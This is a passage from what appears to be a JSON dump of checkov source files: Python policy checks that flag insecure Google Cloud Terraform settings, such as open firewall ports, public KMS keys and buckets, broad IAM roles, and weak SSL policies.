    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\nPORT = 21\n\n\nclass GoogleComputeFirewallUnrestrictedIngress21(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow unrestricted FTP access\"\n        id = \"CKV_GCP_75\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress21()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\nPORT = 22\n\n\nclass GoogleComputeFirewallUnrestrictedIngress22(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow unrestricted ssh access\"\n        id = \"CKV_GCP_2\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\n# standard mysql port\nPORT = 3306\n\n\nclass GoogleComputeFirewallUnrestrictedIngress3306(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow unrestricted mysql access\"\n        id = \"CKV_GCP_88\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress3306()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\nPORT = 3389\n\n\nclass GoogleComputeFirewallUnrestrictedIngress3389(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow unrestricted rdp access\"\n        id = \"CKV_GCP_3\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\nPORT = 80\n\n\nclass GoogleComputeFirewallUnrestrictedIngress80(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow unrestricted http port 80 access\"\n        id = \"CKV_GCP_106\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress80()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GoogleComputeIPForward(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that IP forwarding is not enabled on Instances\"\n        id = \"CKV_GCP_36\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'source_instance_template' in conf.keys() and 'can_ip_forward' not in conf.keys():\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and can_ip_forward is not present, then this check cannot PASS, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        else:\n            # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present.\n            return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'can_ip_forward'\n\n    def get_forbidden_values(self):\n        return [True]\n\n    def get_excluded_key(self):\n        return \"name\"\n\n    def check_excluded_condition(self, value):\n        if not isinstance(value, str):\n            return False\n        return value.startswith('gke-')\n\n\ncheck = GoogleComputeIPForward()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GoogleComputeInstanceOSLogin(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that no instance in the project overrides the project setting for enabling OSLogin\" \\\n               \"(OSLogin needs to be enabled in project metadata for all instances)\"\n        id = \"CKV_GCP_34\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \\\n                ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'enable-oslogin' not in\n                 conf['metadata'][0].keys()):\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and enable-oslogin is not present, then this check cannot PASS, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        else:\n            # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present.\n            return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'metadata/[0]/enable-oslogin'\n\n    def get_forbidden_values(self):\n        return [False]\n\n\ncheck = GoogleComputeInstanceOSLogin()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GoogleComputeProjectOSLogin(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure oslogin is enabled for a Project\"\n        id = \"CKV_GCP_33\"\n        supported_resources = ['google_compute_project_metadata']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'metadata/[0]/enable-oslogin'\n\n    def get_expected_value(self):\n        return \"TRUE\"\n\n\ncheck = GoogleComputeProjectOSLogin()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleComputeSSLPolicy(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites\"\n        id = \"CKV_GCP_4\"\n        supported_resources = ['google_compute_ssl_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html\n        :param conf: google_compute_ssl_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'profile' in conf.keys():\n            self.evaluated_keys = ['profile']\n            if conf['profile'][0] == 'RESTRICTED':\n                return CheckResult.PASSED\n            elif conf['profile'][0] == 'MODERN':\n                if 'min_tls_version' in conf.keys():\n                    self.evaluated_keys.append('min_tls_version')\n                    if conf['min_tls_version'][0] == \"TLS_1_2\":\n                        return CheckResult.PASSED\n            elif conf['profile'][0] == 'CUSTOM':\n                self.evaluated_keys.append('custom_features')\n                if not any(item in conf['custom_features'][0] for item in ['TLS_RSA_WITH_AES_128_GCM_SHA256',\n                                                                           'TLS_RSA_WITH_AES_256_GCM_SHA384',\n                                                                           'TLS_RSA_WITH_AES_128_CBC_SHA',\n                                                                           'TLS_RSA_WITH_AES_256_CBC_SHA',\n                                                                           'TLS_RSA_WITH_3DES_EDE_CBC_SHA']):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GoogleComputeSSLPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GoogleComputeSerialPorts(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Enable connecting to serial ports' is not enabled for VM Instance\"\n        id = \"CKV_GCP_35\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \\\n                ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'serial-port-enable' not in\n                 conf['metadata'][0].keys()):\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and serial-port-enable is not present, then this check cannot PASS, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        else:\n            # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present.\n            return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'metadata/[0]/serial-port-enable'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = GoogleComputeSerialPorts()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GoogleComputeShieldedVM(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Compute instances are launched with Shielded VM enabled\"\n        id = \"CKV_GCP_39\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        Shielded VM can only be used with boot images with shielded VM support.\n        See the complete list of supporting images here: https://cloud.google.com/compute/docs/images#shielded-images\n        :param conf:\n        :return: <checkResult>\n        \"\"\"\n        if 'source_instance_template' in conf.keys() and 'shielded_instance_config' not in conf.keys():\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and shielded_instance_config is not present, then this check cannot FAIL, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        if 'shielded_instance_config' in conf.keys():\n            self.evaluated_keys = ['shielded_instance_config', 'shielded_instance_config/[0]/enable_vtpm',\n                                   'shielded_instance_config/[0]/enable_integrity_monitoring']\n            if 'enable_vtpm' in conf['shielded_instance_config'][0] and \\\n                    not conf['shielded_instance_config'][0]['enable_vtpm'][0]:\n                self.evaluated_keys = ['shielded_instance_config/[0]/enable_vtpm']\n                return CheckResult.FAILED\n            if 'enable_integrity_monitoring' in conf['shielded_instance_config'][0] and \\\n                    not conf['shielded_instance_config'][0]['enable_integrity_monitoring'][0]:\n                self.evaluated_keys = ['shielded_instance_config/[0]/enable_integrity_monitoring']\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GoogleComputeShieldedVM()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles\n\n\nclass GoogleFolderBasicRoles(AbsGoogleBasicRoles):\n    def __init__(self) -> None:\n        name = \"Ensure basic roles are not used at folder level.\"\n        id = \"CKV_GCP_116\"\n        supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleFolderBasicRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles\n\n\nclass GoogleFolderImpersonationRoles(AbsGoogleImpersonationRoles):\n    def __init__(self) -> None:\n        name = \"Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level\"\n        id = \"CKV_GCP_44\"\n        supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleFolderImpersonationRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount\n\n\nclass GoogleFolderMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount):\n    def __init__(self) -> None:\n        name = \"Ensure Default Service account is not used at a folder level\"\n        id = \"CKV_GCP_48\"\n        supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleFolderMemberDefaultServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GoogleIAMWorkloadIdentityConditional(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        A configuration for an external workload identity pool provider should have conditions set.\n        In GitHub Actions, one can authenticate to Google Cloud by setting values for workload_identity_provider and service_account and requesting a short-lived OIDC token which is then used to execute commands as that Service Account. If you don't specify a condition in the workload identity provider pool configuration, then any GitHub Action can assume this role and act as that Service Account.\n        This can be checked in Terraform configs by looking at whether a google_iam_workload_identity_pool_provider has the attribute_condition field set.\n\n        Link: https://www.revblock.dev/exploiting-misconfigured-google-cloud-service-accounts-from-github-actions/\n        \"\"\"\n\n        name = \"Ensure IAM workload identity pool provider is restricted\"\n        id = \"CKV_GCP_118\"\n        supported_resources = ['google_iam_workload_identity_pool_provider']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'attribute_condition'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = GoogleIAMWorkloadIdentityConditional()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nDISALLOWED_MEMBERS = {\"allUsers\", \"allAuthenticatedUsers\"}\n\n\nclass GoogleKMSKeyIsPublic(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        ensure key is not publicly available\n        KMS Crypto Key policy should not set 'allUsers' or 'allAuthenticatedUsers' in the attribute 'member'/'members'\n        \"\"\"\n        name = \"Ensure KMS policy should not allow public access\"\n        id = \"CKV_GCP_112\"\n        supported_resources = (\n            \"google_kms_crypto_key_iam_policy\",\n            \"google_kms_crypto_key_iam_binding\",\n            \"google_kms_crypto_key_iam_member\",\n        )\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        policy_data = conf.get(\"policy_data\")\n        if policy_data and isinstance(policy_data, list):\n            for policy in policy_data:\n                if not isinstance(policy, dict):\n                    continue\n                bindings = policy.get(\"bindings\")\n                if bindings and isinstance(bindings, list):\n                    for binding in bindings:\n                        members = binding.get(\"members\")\n                        if members and isinstance(members, list):\n                            for member in members:\n                                if member in DISALLOWED_MEMBERS:\n                                    return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        members = conf.get(\"members\")\n        if members and isinstance(members, list):\n            for member in members[0]:\n                if member in DISALLOWED_MEMBERS:\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        member = conf.get(\"member\")\n        if member and isinstance(member, list):\n            if member[0] in DISALLOWED_MEMBERS:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleKMSKeyIsPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GoogleKMSPreventDestroy(BaseResourceValueCheck):\n    def __init__(self):\n        # \"From the Provider Documentation\"\n        # CryptoKeys cannot be deleted from Google Cloud Platform.Destroying a Terraform - managed CryptoKey will remove\n        # it from state and delete all CryptoKeyVersions, rendering the key unusable, but will not delete the resource\n        # from the project.When Terraform destroys these keys, any data previously encrypted with these keys will be\n        # irrecoverable.For this reason, it is strongly recommended that you add lifecycle hooks to the resource to\n        # prevent accidental destruction.\n        name = \"Ensure KMS keys are protected from deletion\"\n        id = \"CKV_GCP_82\"\n        supported_resources = ['google_kms_crypto_key']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'lifecycle/[0]/prevent_destroy'\n\n\ncheck = GoogleKMSPreventDestroy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.util.type_forcers import force_int\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nASYMMETRIC_KEYS = {\"ASYMMETRIC_DECRYPT\", \"ASYMMETRIC_SIGN\"}\n# rotation_period time unit is seconds\nONE_DAY = 24 * 60 * 60\nNINETY_DAYS = 90 * ONE_DAY\n\n\nclass GoogleKMSKeyRotationPeriod(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure KMS encryption keys are rotated within a period of 90 days\"\n        id = \"CKV_GCP_43\"\n        supported_resources = (\"google_kms_crypto_key\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        purpose = conf.get(\"purpose\")\n        if purpose and isinstance(purpose, list) and purpose[0] in ASYMMETRIC_KEYS:\n            # https://cloud.google.com/kms/docs/key-rotation#asymmetric\n            # automatic key rotation is not supported for asymmetric keys\n            return CheckResult.UNKNOWN\n\n        self.evaluated_keys = [\"rotation_period\"]\n        rotation = conf.get(\"rotation_period\")\n        if rotation and rotation[0] and isinstance(rotation[0], str):\n            time = force_int(rotation[0][:-1])\n            if time and ONE_DAY <= time <= NINETY_DAYS:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GoogleKMSKeyRotationPeriod()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles\n\n\nclass GoogleOrgBasicRoles(AbsGoogleBasicRoles):\n    def __init__(self) -> None:\n        name = \"Ensure basic roles are not used at organization level.\"\n        id = \"CKV_GCP_115\"\n        supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleOrgBasicRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles\n\n\nclass GoogleOrgImpersonationRoles(AbsGoogleImpersonationRoles):\n    def __init__(self) -> None:\n        name = \"Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level\"\n        id = \"CKV_GCP_45\"\n        supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleOrgImpersonationRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount\n\n\nclass GoogleOrgMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount):\n    def __init__(self) -> None:\n        name = \"Ensure default service account is not used at an organization level\"\n        id = \"CKV_GCP_47\"\n        supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleOrgMemberDefaultServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nimport re\nfrom typing import List\n\nUSER_MANAGED_SERVICE_ACCOUNT = re.compile(r'.*@.*\\.iam\\.gserviceaccount\\.com$')\nADMIN_ROLE = re.compile('.*(.*Admin|.*admin|editor|owner)')\n\n\nclass GoogleProjectAdminServiceAccount(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Service Account has no Admin privileges\"\n        id = \"CKV_GCP_42\"\n        supported_resources = ['google_project_iam_member']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'member' in conf.keys() and re.match(USER_MANAGED_SERVICE_ACCOUNT, str(conf['member'][0])) and \\\n                re.match(ADMIN_ROLE, str(conf['role'][0])):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['member', 'role']\n\n\ncheck = GoogleProjectAdminServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles\n\n\nclass GoogleProjectBasicRoles(AbsGoogleBasicRoles):\n    def __init__(self) -> None:\n        name = \"Ensure basic roles are not used at project level.\"\n        id = \"CKV_GCP_117\"\n        supported_resources = ('google_project_iam_member', 'google_project_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleProjectBasicRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GoogleProjectDefaultNetwork(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that the default network does not exist in a project\"\n        id = \"CKV_GCP_27\"\n        supported_resources = ['google_project']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n        https://www.terraform.io/docs/providers/google/r/google_project.html\n        :param conf: google_project configuration\n        :return: <CheckResult>\n        \"\"\"\n        return 'auto_create_network/[0]'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = GoogleProjectDefaultNetwork()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles\n\n\nclass GoogleProjectImpersonationRoles(AbsGoogleImpersonationRoles):\n    def __init__(self) -> None:\n        name = \"Ensure roles do not impersonate or manage Service Accounts used at project level\"\n        id = \"CKV_GCP_49\"\n        supported_resources = ('google_project_iam_member', 'google_project_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleProjectImpersonationRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount\n\n\nclass GoogleProjectMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount):\n    def __init__(self) -> None:\n        name = \"Ensure Default Service account is not used at a project level\"\n        id = \"CKV_GCP_46\"\n        supported_resources = ('google_project_iam_member', 'google_project_iam_binding')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n\ncheck = GoogleProjectMemberDefaultServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass GoogleRoleServiceAccountUser(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles\" \\\n               \" at project level\"\n        id = \"CKV_GCP_41\"\n        supported_resources = ['google_project_iam_binding', 'google_project_iam_member']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'role' in conf.keys() and \\\n                conf['role'][0] not in ['roles/iam.serviceAccountUser', 'roles/iam.serviceAccountTokenCreator']:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['role']\n\n\ncheck = GoogleRoleServiceAccountUser()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass GoogleStorageBucketNotPublic(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Cloud Storage bucket is not anonymously or publicly accessible\"\n        id = \"CKV_GCP_28\"\n        supported_resources = ['google_storage_bucket_iam_member', 'google_storage_bucket_iam_binding']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        members = conf.get('members', [[]])[0]\n        members = members if isinstance(members, list) else []\n        member_conf = conf.get('member', []) + members\n        if not any(member in member_conf for member in ['allUsers', 'allAuthenticatedUsers']):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['members', 'member']\n\n\ncheck = GoogleStorageBucketNotPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GoogleStorageBucketUniformAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Cloud Storage buckets have uniform bucket-level access enabled\"\n        id = \"CKV_GCP_29\"\n        supported_resources = [\"google_storage_bucket\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"uniform_bucket_level_access\"\n\n\ncheck = GoogleStorageBucketUniformAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py",
